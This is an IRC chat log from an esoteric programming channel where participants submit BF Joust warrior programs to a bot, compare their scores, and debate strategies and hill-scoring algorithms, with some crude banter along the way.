00:01:24 -!- pikhq has quit (Ping timeout: 240 seconds). 00:01:33 -!- pikhq has joined. 00:02:32 -!- cheater- has quit (Ping timeout: 240 seconds). 00:09:56 Lubuntu is uncharacteristically slow in VirtualBox 00:10:22 stupid fire alarm 00:10:29 * Sgeo burns quintopia 00:10:33 someone set their apt on fire 00:10:39 on my floor 00:10:51 o.O 00:10:58 and i have to peeeeee 00:11:07 and i caaaaaaaaaaan't 00:14:10 hello 00:14:50 can a search or sort algorithm alone together with the actions of reading and printing/writing be used to build a turing machine? 00:15:21 there is a bubblesort based language... 00:15:27 don't know what you mean 00:16:57 -!- Mathnerd314 has joined. 00:17:18 Maybe once I install Lubuntu on VirtualBox I'll be more willing to play with languages like Io 00:17:28 cheater00: I don't see how you can make an infinite loop in it 00:17:35 unless I'm missing something obvious 00:17:43 -!- ais523 has quit (Remote host closed the connection). 00:18:05 hmm 00:20:39 Gregor: quintopia: OK, lance will be done /tomorrow/ :P 00:20:51 Sure it will. 00:20:54 Once I figure out this stupid bug. 00:21:40 -!- Mathnerd314 has quit (Ping timeout: 240 seconds). 00:21:46 Gregor: i managed to submit tripwires before thd alarm went off 00:21:50 00:40:52 Maybe once I install Lubuntu on VirtualBox I'll be more willing to play with languages like Io 00:21:51 >what 00:22:05 sgeo reaches new heights of incoherence 00:22:16 also, lol@lxde sucks 00:22:17 elliott, I don't feel like fighting to get Io to work in Windows 00:22:31 quintopia: Uhhh, what does that mean :P 00:22:38 Oh 00:22:40 The fire alarm. 00:22:43 quintopia: Yeah, I saw. 00:33:18 Gregor: You know what would be hilarious? Using a browser automation framework to use egojsout as egojoust 2. 00:33:22 s/hilarious/horrible/ 00:33:50 s/horrible/abominatacular/ 00:36:37 Gregor: Abominatacular... is good! 00:37:06 What current programs would break and die with flag=127? 00:37:30 I'm obsessed with this. Twice the polarities, twice the fun 00:40:26 Sgeo: I have no idea. 00:40:44 If you're considering it, you may as well go with 64 though. 00:41:01 More egg stream. 00:41:20 egg stream? 00:41:27 EGG STREAM 00:41:43 Oh, durgh 00:43:28 !bfjoust return_of_ehird_defend8mwahahaha http://codu.org/eso/bfjoust/in_egobot.hg/index.cgi/raw-file/45e854b7a63c/ehird_defend8mwahahaha.bfjoust 00:43:42 Gregor: what 00:43:51 Score for Gregor_return_of_ehird_defend8mwahahaha: 24.7 00:44:00 Gregor: I think that thing is ais523's defend8 reversed polarity :P 00:44:02 Or something 00:44:03 Not bad :P 00:44:07 Oh 00:44:13 Then why did you win so much while defend8 wasn't? 00:44:20 Gregor: I think that was before polarity X-D 00:44:24 No way 00:44:27 Gregor: Set up one of those hg repository viewers on the raw repo plz 00:44:31 egojoust is entirely after reversing I think. 00:44:34 Dunno then, re: no way 00:44:39 And yeah it is. 00:44:41 But not EgoBot. 00:44:42 elliott: Figure out the URL I just did geniuslol :P 00:44:54 Ohhhhhhhhhhhhhh, I thought egojoust was the first interp in EgoBot :P 00:44:58 Fag fag fag fagging up the channel 00:45:01 Gregor: How can you forget X-D 00:45:07 Then why did defend8 NEVER WIN X-P 00:45:20 Holy shit there have been a lot of revisions. 00:45:25 Whereas defend8mwahahaha won a lot 00:45:37 !bfjoust RETURN_OF_I_KEELST_THOU (>)*9((-)*128[-]>)*21 00:45:39 Worst warrior ever 00:45:56 Score for elliott_RETURN_OF_I_KEELST_THOU: 2.5 00:45:58 What are these, old winners? 00:46:05 Olds, not old winners/losers :P 00:46:18 Mine was an old winner. 00:46:21 It was a frequent winner in '09 00:46:22 !bfjoust return_of_vibration_fool_fasting_because_it_is_lent_mathematica_edition >>>++++<----<++++<(-)*127(-+)*5000[[[>[(-)*43]+]+]+] 00:46:25 Yes, I actually called it that. 00:46:27 I have no idea why. 00:46:28 Score for elliott_return_of_vibration_fool_fasting_because_it_is_lent_mathematica_edition: 24.9 00:46:32 Wow X-D 00:46:51 How does that even work *looks* 00:47:06 OK, sets up decoys, vibrates, and then goes and... does something insane. 00:47:16 elliott: It beats space_elevator and wireless 00:47:19 X-D 00:47:25 !bfjoust return_of_Patashu_2_3weave (>(+)*23>(-)*23)*1>+>->->+>+>-(>[(-)*20[+]]->[(+)*21[-]]+>+)*10 00:47:28 That's probably where it gets all its points :P 00:47:37 Gregor: You realise we're going to remove all the good programs from the hill like this. 00:47:44 Since they'll get points from each other. 00:47:44 Score for Gregor_return_of_Patashu_2_3weave: 11.2 00:47:52 !bfjoust return_of_pikhq_do_nothing > 00:47:55 elliott: Not with Patashu_2_3weave it seems :P 00:48:04 Score for elliott_return_of_pikhq_do_nothing: 5.0 00:48:17 Ah, ais' vibration_fool_faster was "+>>>++++<----<++++<(-)*127(-+)*5000[[[>[---]+]+]+]" 00:48:21 So mine was just a trivial variation :P 00:48:29 Besides, there's nothin' wrong with a FEW return_ofs. 00:48:31 They shake up the hill. 00:48:43 !bfjoust return_of_MixardX_mzx_fool >-[>-] 00:48:45 *MizardX 00:48:50 Score for elliott_return_of_MixardX_mzx_fool: 0.0 00:48:53 !bfjoust return_of_lament_what (-)*128 00:48:55 OK, but return_of_something_retarded is bad :P 00:48:58 Score for elliott_return_of_lament_what: 8.4 00:49:00 X-D 00:49:02 8.4 00:49:15 !bfjoust return_of_ehird_primewire >+[]<[.-] 00:49:33 Score for elliott_return_of_ehird_primewire: 10.8 00:49:35 !bfjoust return_of_leonid__ugh ((>(+)*97>(-)*97)*2(>[-[+]])*4(<)*7)*59 00:49:37 Trivial variation on ais523_tripwire >+[]<[--] :P 00:49:46 Gregor: leonid's programs were just random crap, btw :P 00:49:48 Score for Gregor_return_of_leonid__ugh: 10.9 00:49:56 elliott: That one was #1 once :P 00:50:00 Actually thrice 00:50:07 !bfjoust return_of_Deewiant_train (>-)*8>>+[[-][-]>+] 00:50:13 Gregor: http://codu.org/eso/bfjoust/in_egobot.hg/index.cgi/shortlog/1dc46c4c5624 hurf durf shitty commit messages 00:50:14 Score for elliott_return_of_Deewiant_train: 4.4 00:50:23 elliott: Yeah, I only improved them later. 00:50:31 Dude, I submitted a lateish version of train when the hill size was expanded 00:50:38 Haha, really? 00:50:45 In Git, you could fix those commit messages! 00:50:53 00:50:54 !bfjoust return_of_fool1 [>[-(.)*64]-] 00:50:57 One of the initial programs :P 00:50:59 Yes, I found all my old stuff from my IRC logs 00:51:15 Deewiant: Everything that's ever been submitted is also in a public hg. 00:51:18 http://codu.org/eso/bfjoust/in_egobot.hg/index.cgi/rev/d172832d3ed5 defend1! 00:51:18 Score for elliott_return_of_fool1: 1.8 00:51:24 (Which I did not just make public now, I just added a web UI now) 00:51:31 !bfjoust return_of_ais523_defend5 >+>+([{>[(.)*20-]+}]<..........-[++[[]<(-..-.)*300>[>[-]+]]]<(+..+.)*300>[>[-]+])%2000 00:51:37 (early version thereof) 00:51:42 Score for elliott_return_of_ais523_defend5: 9.2 00:52:04 !bfjoust return_of_ehirdiphone_lunge (>)*15(>(-)*128[+--+-])*30 00:52:08 Writing BF Joust programs on an iPhone. 00:52:10 I was one hardcore motherfucker. 00:52:10 Score for elliott_return_of_ehirdiphone_lunge: 2.0 00:52:10 Gregor: I know, but it's easier for me to type "grep 'Deewiant.*bfjoust' \#esoteric*' :-P 00:52:28 http://codu.org/eso/bfjoust/in_egobot.hg/index.cgi/log?rev=ehird <-- these results are... lacking 00:53:52 elliott: See "more" button 00:54:00 Gregor: Nice number of results per page :P 00:54:19 -!- BeholdMyGlory has quit (Remote host closed the connection). 00:54:21 elliott: Yes, because I totally wrote the hg web viewer 00:54:25 Yes you did. 00:54:43 !bfjoust RETURN_OF_ehird_discourse ((+)*127(-)*127))*394 00:54:46 Gotta love that invalid syntax. 00:54:46 Score for elliott_RETURN_OF_ehird_discourse: 0.0 00:54:55 -!- comex has quit (Ping timeout: 240 seconds). 00:55:03 !bfjoust RETURN_OF_ehird_isthisthingon >((+)*127>(-)*127)*8>((-)*128[-.]>(+)*128[+.])*21 00:55:12 Score for elliott_RETURN_OF_ehird_isthisthingon: 18.3 00:55:16 !bfjoust RETURN_OF_SLIGHTLY_OLDER_ehird_isthisthingon >(+)*127<+>>(-)*126<<->>>(+)*125<<<+>>>>>>>>>>[[-]>+] 00:55:25 Gregor: SUBMIT YOUR OWN PROGRAMS TOO, SUCH FUN 00:55:52 Score for elliott_RETURN_OF_SLIGHTLY_OLDER_ehird_isthisthingon: 2.0 00:55:54 Y'know, I HONESTLY wanted to know how that old program would do on the new hill :P 00:56:06 Gregor: I'M AS CURIOUS AS YOU ARE. 00:56:20 !bfjoust return_of_ehird_i_keelst_thou_allornothing (>)*16((-)*128.->(+)*128.+>)*11 00:56:23 Score for elliott_return_of_ehird_i_keelst_thou_allornothing: 5.5 00:57:04 !bfjoust return_of_ehird_telepath_homicider +++++++++++++++[>++>+++++>+++++++>+++++++<<<<-]>>--.<++.>++++++++++++++++++++++++.>>++++.<<<.>++++++++++.>.>-..<.>++.<--.<<.>>>+++++++++++.<<++++.++++++.<.>>>--.<++.<-.>-.<<.>.>.---.---------------------------------------------------------------------.>-------.-.++++++++.<<<+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.>--.>.<---.<+.>>.<--.>>++.<.<.----.+++++.<--.>>++++++++++++++ 00:57:04 .----------------------- 00:57:06 ... 00:57:11 Score for elliott_return_of_ehird_telepath_homicider: 7.5 00:57:17 Well done 00:57:19 !bfjoust space_elevator http://sprunge.us/fFAN 00:57:24 Uh oh 00:57:29 i made the initial decoy smaller 00:57:34 !bfjoust return_of_ehird_telepath_homicider http://sprunge.us/hWDT 00:57:34 lessee what happens 00:57:48 Score for quintopia_space_elevator: 59.3 00:57:56 that's an improve 00:58:00 Score for elliott_return_of_ehird_telepath_homicider: 7.5 00:58:21 because it beats anti_space_elevator 00:58:25 \o/ 00:58:25 | 00:58:26 >\ 00:58:29 Wow, first time I've actually looked at space_elevator. 00:58:37 It's ... magic. 00:58:52 ha, did you have report logs after all gregor? 00:59:06 i see he implemented my 'trip the tripwire' idea ;) 00:59:12 myndzi: There have always been report logs, and they are publicly available (and always have been) 00:59:17 o rly 00:59:23 i couldn't find them in hg 00:59:27 o well, no matter 00:59:33 mycroftiv: http://codu.org/eso/bfjoust/in_egobot/reports/ 00:59:38 haha 00:59:40 They're not in hg 00:59:40 of course 00:59:42 i knew that 00:59:44 D: 01:00:20 damn, this was in 2009? lol 01:01:10 http://codu.org/eso/bfjoust/in_egobot/reports/report-2009-05-27-23-43.txt lol 01:01:15 436.001ehird_defend6_a_parody_or_just_plain_ripoff_question_mark.bfjoust 01:01:27 amazing how quickly anti_space_elevator dropped to the bottom of the scoreboard once i beat it >_> 01:01:58 quintopia: :D 01:01:59 18 90.03 15 myndzi_slowrush.bfjoust 01:01:59 12 72.02 9 ehird_the_unknowable_reversi_of_slowrush.bfjoust 01:01:59 19 60.39 3 nescience_shade.bfjoust 01:01:59 11 54.99 1 ehird_shade_needs_to_get_laid.bfjoust 01:02:02 my ripoff names were awesome 01:02:04 10 51.52 -1 ehird_fucking_termoil_wants_me_to_term_oil.bfjoust 01:02:10 Wow, space_elevator is ... not all that complicated, actually. 01:02:13 4 36.84 -4 GregorR-L_pooper_scooper.bfjoust 01:02:15 Gregor: SUBMIT IT 01:02:18 Gregor: i said as much earlier 01:02:27 Yeah, defend13 is still more complex. 01:02:31 quintopia: I didn't believe you :P 01:02:32 But space_elevator is frickin' huge :P 01:03:17 Gregor: how does one find particular programs using the web interfrox? 01:03:28 i am no good at mercurial 01:03:35 quintopia: Poorly :P 01:03:47 WELL DAMN 01:03:54 quintopia: I did it be checking it out and using the log, I only put up the web interface so I could make direct links to old programs. 01:04:04 *by checking 01:04:20 Gregor: link me to nescience_creep? 01:04:27 ah, i missed what you were actually doing at first 01:04:32 Gregor: ([-[+{[-]}]])%n 01:04:37 i didn't remember creep made it to #1 01:04:42 Gregor: This expands to [-[+[-[+[-[+[...[-]]]]]]]]]]]]]]] right? 01:05:03 slowrush beat everything on the hill at one point 01:05:07 until the optimization war with wiggle 01:05:10 elliott: Of course. 01:05:11 How can one make something expand to: 01:05:15 which i gave in on because i stopped to care ;p 01:05:24 [-[-[-[-[-[-[-[-[-(20 of those)[+[+[+[+(20 of those)(etc.)[-]]]]]]]]]]]...? 01:05:33 quintopia: >+>->+>->+>->+(>-++-(.)*132[+]++>-++-(.)*132[-]--)*15 01:05:40 put another one inside {} 01:06:07 huh 01:06:13 it leaves a trail 01:06:15 myndzi: eh? 01:06:15 ([-{([+{[-]}])*20}])%20 01:06:18 elliott: That's ... not complicated ... ([-{([+{[-]}])%whatever])%whatever 01:06:23 myndzi: that's invalid 01:06:28 Gregor: Right, just realised. 01:06:35 !bfjoust return_of_nescience_creep >+>->+>->+>->+(>-++-(.)*132[+]++>-++-(.)*132[-]--)*15 01:06:36 i meant %, whatever 01:06:42 Score for quintopia_return_of_nescience_creep: 9.1 01:06:46 lol 01:06:55 Right: 01:06:56 Unmatched loop at 36. 01:06:56 Unmatched loop at 42. 01:06:56 Unmatched loop at 43. 01:06:56 Unmatched loop. 01:06:56 Unmatched loop. 01:06:57 andhow is mine invalid and his isn't? ;p 01:06:58 Unmatched loop. 01:07:00 Unmatched brace. 01:07:04 GREGOR IS A LIAR :-P 01:07:05 then he's doin it wrong ;) 01:07:10 is this lance's fault 01:07:14 no 01:07:15 egojsout 01:07:18 aha 01:07:26 Gregor: it beat julius freezer! :P 01:07:27 btw egojsout doesn't support ([)*n either 01:07:27 so ha 01:07:39 anyway, stuff inside {} shouldn't really cause conflict in any condition afaik 01:07:57 elliott: I know egojsout doesn't support ([)*n ... 01:07:59 so it ought to work even if it doesn't ;) 01:08:03 i was telling 01:08:04 also gregor forgot a } 01:08:06 ~myndzi~ 01:08:22 elliott: Tpyo'd, meant ([-{([+{[-]}])%20}])%20 01:08:23 while i didn't ;) but i accidentally typed * instead of % 01:08:23 Yeah 01:08:24 lol 01:08:42 Gregor: one of these days bf joust is going to be more popular than JESUS. also corewars. 01:09:03 Gregor: now how do I make it [-[-[-[-[-[-[-[-[-(20 of those)[(+)*20+[+[+[+(20 of those)(etc.)[-]]]]]]]]]]]... 01:09:07 more popular? for a while still... better? not really ;p 01:09:09 where each has (X)*20 in the first one 01:09:11 quintopia: The latter would be cool. The former will hopefully be due to a decrease in the popularity of Jesus and not an increase in the popularity in BFJ. 01:09:12 where X is the other op 01:09:12 >:D 01:09:23 Gregor: exactly 01:09:27 that is easy too elliot 01:09:29 think about it? :P 01:09:33 Gregor: Hopefully? That would be AWESOME 01:09:37 myndzi: I just want Gregor to do all my work for me 01:09:42 laf 01:09:52 quintopia: I don't think bf joust has the same vibe as corewars 01:10:01 can you imagine a "15-chars max" bf joust hill? 01:10:03 dinnertime, laters 01:10:07 like the 4-instruction nano hill corewar has 01:10:09 FYB was designed to have the same vibe as corewars *shrugs* 01:10:14 or was it five 01:10:26 Gregor: buy FYB also sucks because it's broken. 01:10:35 quintopia: SO'S UR FACE 01:11:01 elliott: i think it could be more popular because it achieves the same level of strategerie while being a lot easier to pick up and start playing with. 01:11:16 *strategery 01:11:38 We could make a beginner's hill, where every program submitted must, at time of submission, get last place on the normal hill :P 01:11:56 hey Gregory 01:11:59 How is it broken? The spec, or just the iimplementation? 01:12:02 my program fails to parse but still wins 01:12:04 how cool is that 01:12:11 !bfjoust interior_crocodile_alligator (>)*9([-[++[(-)*128([-{([+{[-]}])%64}])%64]]]>)*20(-)*128 01:12:14 !bfjoust 01:12:14 Use: !bfjoust . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/ 01:12:20 Score for elliott_interior_crocodile_alligator: 31.6 01:12:26 * Gregor is somewhat surprised that his client doesn't highlight "Gregory" 01:12:29 elliott_interior_crocodile_alligator.bfjoust vs quintopia_space_elevator.bfjoust: 01:12:29 <<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<< 01:12:30 elliott_interior_crocodile_alligator.bfjoust wins 01:12:31 :} 01:13:03 tricksy sir 01:13:03 wow 01:13:05 beats defend13 01:13:08 with a syntax error 01:13:09 i'm proud 01:13:25 :D 01:13:26 elliott: that's the same way that wireless_frownie beat it 01:13:32 what, with a syntax error? 01:13:37 yes 01:13:42 :D 01:13:55 i beat speedy2 as well 01:13:58 how do i do it!! 01:14:11 you are becoming a competitor! 01:14:17 elliott: With what, lance? 01:14:27 Gregor: ? 01:14:34 quintopia: wow, it turns out it's an... oscillator 01:14:39 look at it in egojsout vs. defend13 01:14:41 Oh, n/m X-P 01:14:48 lmao 01:14:52 look at it when it gets that cell to 0 01:14:55 it sits around for like 01:14:58 * quintopia looks 01:15:00 infinite turns wait 01:15:02 wait Gregor 01:15:05 defend13 is broken or something 01:15:05 OR 01:15:07 nopping for five years 01:15:09 in that trace 01:15:23 defend13 has a tripwire, it frequently nops for friggin' ever. 01:15:31 wait no 01:15:32 it moved 01:15:33 right 01:15:42 Gregor: lol but do that trace anyway 01:15:49 it's hilarious seeing interior_crocodile_alligator get to zero 01:15:52 and just chill for a while 01:16:19 Some ad account for some crappy virtual world decided I was worth following 01:16:39 My only relation to this virtual world is that I've visited it once or twice, and follow the twitter account 01:16:50 I am really not worth following 01:17:02 quintopia: Wow, look at where it loses with reversed polarity too 01:17:04 It's so tedious :P 01:17:14 elliott: it's the (-)*128 thing that lets you beat defenders. makes you unpredictable. 01:17:21 defend13's just like "haha nope, take this" and then goes back to clearing the cells tediously 01:18:32 impressively though i beat definder2 on all occasions 01:19:01 quintopia: it's sort of like a vibration 01:19:02 except 01:19:04 a really slow vibration 01:19:09 a... shake 01:19:23 and then a "reverse offset clear" :P 01:19:24 -!- Mathnerd314 has joined. 01:19:34 so basically any prediction of its speed is going to be wrong 01:19:49 elliott: the giant offset clear is what allows defend13 to get your number on that one polarity. it has a special case for that. 01:19:55 haha 01:20:02 quintopia: it's not an offset clear, it's the same operation inside the loop 01:20:11 well, kinda 01:20:15 it's not even an offset clear 01:20:18 sorry 01:20:20 the giant offset 01:20:20 because it switches from [- to [+ in the loop 01:20:22 and then to [-] 01:20:25 it's just... crazy 01:20:28 followed by whatever that otehr thing it 01:20:29 is 01:20:34 yeah 01:20:36 "insanity" 01:20:52 the giant offset is what lets defend13 figure out what polarity you're in 01:20:56 and freeze you 01:21:17 quintopia: loool, do definder2 vs mine 01:21:24 after it clears the cell just before definder2's flag 01:21:29 it sits for an UNHOLY LONG TIME 01:21:36 like a hundred cycles 01:21:57 lol, then it gets fixed at 80 and just sits there... 01:22:01 but then 01:22:03 since my ]s take so long 01:22:10 before i can nop forever 01:22:13 definder2 comes back 01:22:19 or something 01:22:20 i have no idea 01:22:22 this shit is insane 01:22:45 INSANITY 01:22:58 i think the rule of the game is to be as unpredictable as possible 01:23:11 it's how wiggle3 managed to stay up there on the scoreboard so long 01:23:19 is it gone? 01:23:28 not that i know of 01:23:36 It couldn't make it, because you murdered it. 01:23:43 Gregor: 00:59:55 GregorR-L: btw i was thinking you could do ()* and ({})* without expansion by keeping a counter for each () pair (which may be allocated globally or in a stack manner) 01:23:45 Gregor: Circa 2009 :P 01:24:25 01:13:29 defend6 and defend6aparody even get exactly the same matchups 01:24:25 01:15:59 Patashu: well ais523 claims it's paper/rock/scissors so someone should add some of whatever is the third type 01:24:25 01:16:46 "fool" 01:24:32 quintopia: Gregor: BF Joust is rock/paper/scissors right? 01:24:40 Three strategies such that every strategy has a weakness. 01:24:43 TOTES 01:24:50 elliott: it's at least rock/paper/scissors/lizard/spock :P 01:24:51 01:16:50 unless this has happened because someone found something to break the p/r/s balance 01:24:51 :D 01:25:12 elliott: I think I went with expansion not because I thought there was no alternative, but because I thought at the time that it wasn't important. 01:25:24 Gregor: Yes. Indeed. You have no foresight! 01:25:25 01:25:34 So just expanding them is a bad idea? 01:25:50 What happened to those evolved BF Joust programs? 01:27:09 !bfjoust penile_wiggling_2_electric_penile_wiggling_boogaloo (>)*9(([(-)*64[(+)*65{[-]}]])%5>)*20(-)*128 01:27:15 Score for elliott_penile_wiggling_2_electric_penile_wiggling_boogaloo: 16.7 01:27:39 !bfjoust penile_wiggling_2_electric_penile_wiggling_boogaloo (>)*9(([(-)*64.[(+)*65.{[-.]}]])%5>)*20(-)*128 01:27:44 Score for elliott_penile_wiggling_2_electric_penile_wiggling_boogaloo: 31.5 01:28:12 !bfjoust does_this_parse ([)*5(])*5 01:28:12 ... 01:28:14 i've never bother to look up where the whole "2: electric boogaloo" meme came from... 01:28:15 quintopia: ^ wat 01:28:19 quintopia: Breakin' 2 01:28:23 Score for Sgeo_does_this_parse: 3.5 01:28:24 (: Electric Boogaloo) 01:28:28 Score for elliott_penile_wiggling_2_electric_penile_wiggling_boogaloo: 31.5 01:28:29 wat 01:28:44 29 25 32.06 -1.76 elliott_interior_crocodile_alligator.bfjoust 01:28:44 30 26 30.42 -11.55 elliott_penile_wiggling_2_electric_penile_wiggling_boogaloo.bfjoust 01:28:47 Are breakdown.txt's Mercurialed? 01:28:48 -1.76, just one above -11.55 01:28:58 Sgeo: no 01:29:07 Well, that sucks. Sorry elliott 01:29:17 by which i mean maybe, but i don't know how to get at them 01:29:26 They're not. 01:29:35 and the evolved programs all fell off the hill because they sucke 01:29:54 !bfjoust interior_crocodile_alligator (>)*9([-[++[(-)*128([-{([+{[-]}])%64}])%64]]]>)*20[-[++[(-)*128([-{([+{[-]}])%64}])%64]]] 01:30:01 Score for elliott_interior_crocodile_alligator: 32.0 01:30:15 Is that better or worse :P 01:30:31 Worse. 01:30:38 !bfjoust interior_crocodile_alligator (>)*9([-[++[(-)*128([-{([+{[-]}])%64}])%64]]]>)*20(-)*128[-] 01:30:43 Score for elliott_interior_crocodile_alligator: 30.8 01:30:48 !bfjoust interior_crocodile_alligator (>)*9([-[++[(-)*128([-{([+{[-]}])%64}])%64]]]>)*20(-)*128 01:30:48 I shoud learn % 01:30:55 Sometimes BF Joust does not obey the rules of logic. 01:30:55 Score for elliott_interior_crocodile_alligator: 31.9 01:31:02 ... 01:31:06 !bfjoust interior_crocodile_alligator (>)*9([-[++[(-)*128([-{([+{[-]}])%64}])%64]]]>)*20[-[++[(-)*128([-{([+{[-]}])%64}])%64]]] 01:31:12 Score for elliott_interior_crocodile_alligator: 32.0 01:31:17 W/E 01:31:27 quintopia: So how do you do against careless programs now in the 'vator 01:37:44 -!- nik340 has joined. 01:38:25 hey 01:38:53 Hi nik340 01:40:09 -!- nik340 has left (?). 01:40:41 !bfjoust space_elevator http://sprunge.us/FJEX 01:40:49 let's find out! 01:41:38 * Sgeo refrains from putting in a silly program 01:42:06 Score for quintopia_space_elevator: 59.6 01:42:08 Oh come on, you removed z languages, then you have to remove a? 01:42:37 quintopia: is that 1_3? 01:42:45 ah, no 01:42:49 bai 01:42:50 -!- elliott has quit (Quit: Leaving). 01:43:29 "board is 12 wide" how can you know that? 01:44:13 -!- elliott has joined. 01:44:17 01:37:58 Heh, I added a bunch of impomatic's back, and now ehird_defend8 is at the top :P 01:44:19 guess it was mine 01:44:21 also 01:44:23 01:40:05 the bigger the hill is the more accurate it ought to be 01:44:25 01:40:14 there isn't really an objective metric of how good a program is 01:44:27 01:41:59 Yeah, and I like my score, it would just be tastier if it was a fixed point algo :P 01:44:29 01:42:57 (wins-losses)/number of characters in source 01:44:32 -!- elliott has quit (Remote host closed the connection). 01:44:43 wtf 01:44:49 that kid... 01:45:15 -!- nik340 has joined. 01:45:30 -!- nik340 has left (?). 01:46:03 I did want to find a decent fixed-point algo for the scores. 01:46:08 Never found one though. 01:46:54 !bfjoust comment comment 01:47:03 Score for Sgeo_comment: 3.5 01:47:17 INFINITY POINTS 01:47:54 Well, more like negative infinity. And not counting comments as characters 01:49:27 Gregor: you mean an iterative thing? something with an exponent that converges? 01:50:48 I'm not sure exactly, it's just that basing the scores off the points is one level of abstraction: You get a good score for beating programs that beat a lot of programs, but you don't get a good score for beating programs that beat a few programs that beat a lot of programs ... 01:51:14 If I could trickle points through further, but somehow guarantee termination ... 01:52:47 !bfjoust space_elevator http://sprunge.us/Ndhb 01:52:59 Score for quintopia_space_elevator: 60.4 01:54:26 Gregor: what's an example of a situation that would not terminate? 01:54:57 -!- comex has joined. 01:55:24 cheater00: If I just took my current algo and looped it, replacing "points" in the current iteration with "score" in the previous iteration, it not only would not likely reach fixed point, but would just push everything to useless extremes. 01:56:01 Gregor: use the whole inductive tree! compute worth for every pair by their score with each other. then for every pair of pairs using the worth of the previous level, then for every pair of quads using the pairs of pairs worth, etc. it'll take a lot of steps but it's all mindless arithmetic, so it should still be reasonably quick 01:56:16 no idea what you are referring to sorry 01:56:35 quintopia: Ohhhh, that's clever. Exponential, but clever. 01:57:06 Wait, is it exponential? I guess not, just fairly expensive :P 01:57:19 Gregor: it's not exponential time. it's like huge, but not exponential 01:57:38 Gregor: why did you decide that programs wouldn't be punished for losing? 01:58:01 quintopia: Losing is uninteresting. 01:58:39 but isn't it the "let's only reward them and never punish them!" mentality that keeps it from being fixed-point iterable? 01:58:58 Umm ... maybe? I don't think so, I think it will usually diverge. 01:59:11 That is, I think it will usually diverge whether you do or don't punish. 02:00:18 ah 02:02:16 i have good news though! the canonical shudder program has been pushed off the board tonight! 02:02:21 Yay 02:02:32 good_vibrations is still kicking more ass than it has a right to tho :P 02:03:48 also, somehow, in all the madness, the turtles have now advanced ahead of the philips... 02:04:19 Gregor: did you see my sketch of philip the careless turtle? 02:04:35 Uhh, no X-D 02:04:36 or was it careless philip the turtle 02:05:34 http://imgur.com/yQN9j 02:05:38 there you go 02:06:49 Can't decide if he's more care-less or care-free :P 02:08:16 -!- copumpkin has quit (Quit: Computer has gone to sleep.). 02:10:45 Woohoo 02:12:46 -!- sgeo_ has joined. 02:13:03 Moving windows around is a bit rough 02:13:18 And this window doesn't have Win7 edges.. although that should be obvious really 02:14:41 -!- sgeo_ has quit (Client Quit). 02:16:43 Gregor: why did you used to be GregorR-L? 02:16:59 He used to have a life 02:17:14 quintopia: I was GregorR, and I didn't used to have a bouncer, so I'd be -L on my laptop, -W at work, etc. 02:17:48 -!- p_q has quit (Quit: This computer has gone to sleep). 02:19:21 Gregor: i have another idea for a scoring system that should be a bit more stable. 02:19:36 The scoring system isn't unstable :P 02:19:52 well, listen to the idea first and tell me what you think 02:20:29 Yeahyeah, go ahead, just arguing with your adjective :P 02:20:57 for each tape length and polarity, rank all the programs in order based on how many programs they beat at that length, and then add up the rankings and divide by 42 to get the final ranking. 02:21:18 ties all get the highest rank possible 02:22:16 this would also let you generate rankings for "best on short tapes" "best on kettle" etc. 02:23:02 Yeah, but the whole point of the current score system is that it's more interesting if you beat /good/ programs than /bad/ programs, whereas that gives you just as much credit for beating garbage as gold ... 02:23:05 Best on Kettle only is in terms of what the hill happens to be 02:24:27 !bfjoust rush10 (>)*9(-)*128 02:25:00 I'm sure it's been submitted before 02:25:04 Score for Sgeo_rush10: 0.5 02:25:13 Awesomly small score 02:25:54 I won in length 10 against Deewiant_sloth 02:26:04 Gregor_return_of_ehird_defend8mwahahaha.bfjoust vs Sgeo_rush10.bfjoust: 02:26:04 ><><><><><><><><><><> >>><><><><><><><><><> >>><><><><><><><><><> ><><><><><><><><><><> 02:26:04 Sgeo_rush10.bfjoust wins 02:26:14 That's just fricken awesome 02:26:46 Why does julius_freezer suck so much? 02:27:08 Gregor: not if you don't assign a linear value to the rankings. you can assign a fixed nonlinear sequence to the rankings, sort of like the scoreboard on WWTBAM...each harder program you beat gets you more points than the last 02:27:20 I won against a bunch of ais523 defenders LOL 02:28:14 Sgeo: that's because you won on the shortest tape length and never triggered their trip wires on the long ones. 02:28:24 therefore drawing on all those rounds 02:29:08 quintopia: I'm trying to figure out how that differs from mine if you just assign based on points ... 02:29:11 That's only for 10 and 12 02:29:12 Errr, that wasn't well put. 02:29:18 But still :P 02:29:20 and 7 and definder 02:29:39 Against defider2, I won on length 11 02:29:40 WTF 02:31:35 Gregor: well the difference is that when you beat a high scoring warrior, its worth (and your derived score from it) are no longer dependent on what it's worth was in points, but merely on its ranking, and you can fix the value of each ranking to be whatever you like so it's not so unpredictable 02:31:42 -!- roconnor has joined. 02:31:56 Ohhhhhhhhhhhhhhhhhhh 02:46:04 Wow, how has mapping_turtle went back above the philips 02:46:56 21:27 < quintopia> also, somehow, in all the madness, the turtles have now advanced ahead of the philips... 02:47:07 if i knew, i'd have said then 02:48:06 I do not so carefully read backlog :P 02:48:11 In fact, I carefully don't read backlog. 02:49:31 -!- nik340 has joined. 02:50:25 -!- nik340 has left (?). 02:54:10 quintopia: Where's the poke explanation :P 02:54:25 I suppose I could make a micropoke *shrugs* 02:55:31 !bfjoust micropoke (>)*9([ (<)*8(+)*85<(-)*85(>)*9 ([-]>)*21 ]>)*21 02:56:27 Score for Gregor_micropoke: 14.1 02:56:46 OK, sufficiently bad. 02:56:54 i explained it! 02:56:57 on the wiki! 02:57:14 -!- Herobrine has quit (Ping timeout: 240 seconds). 02:57:16 Uhh ... where? 02:57:40 -!- augur has joined. 02:58:08 third strategy on the page? 02:58:23 OH 02:58:27 It's stuck in the middle :P 02:58:39 I was thinking that more complicated strategies should be later. 02:59:46 the whole bottom of that section was about rushing styles 02:59:53 substrategies 03:00:02 i mean 03:00:07 ways of clearing 03:00:13 poke is not a way of clearing 03:00:25 Yeah, so poke should be AFTER all of those (IMHO) 03:00:26 maybe "clearing" should be its own section 03:00:30 Or maybe those should all be com---yeah 03:01:37 oh i know 03:02:01 we could subdivide the attack section into "beginning game" "midgame" and "endgame" sections 03:02:23 beginning game is rule-of-nine, poke, decoy placement order 03:02:28 midgame is decoy sizing 03:02:34 end game is clearing 03:02:47 bbiab 03:02:48 Think of it from the perspective of a reader: What you really need is things that are easy to understand, then why those fail and more interesting things, all the way to advanced 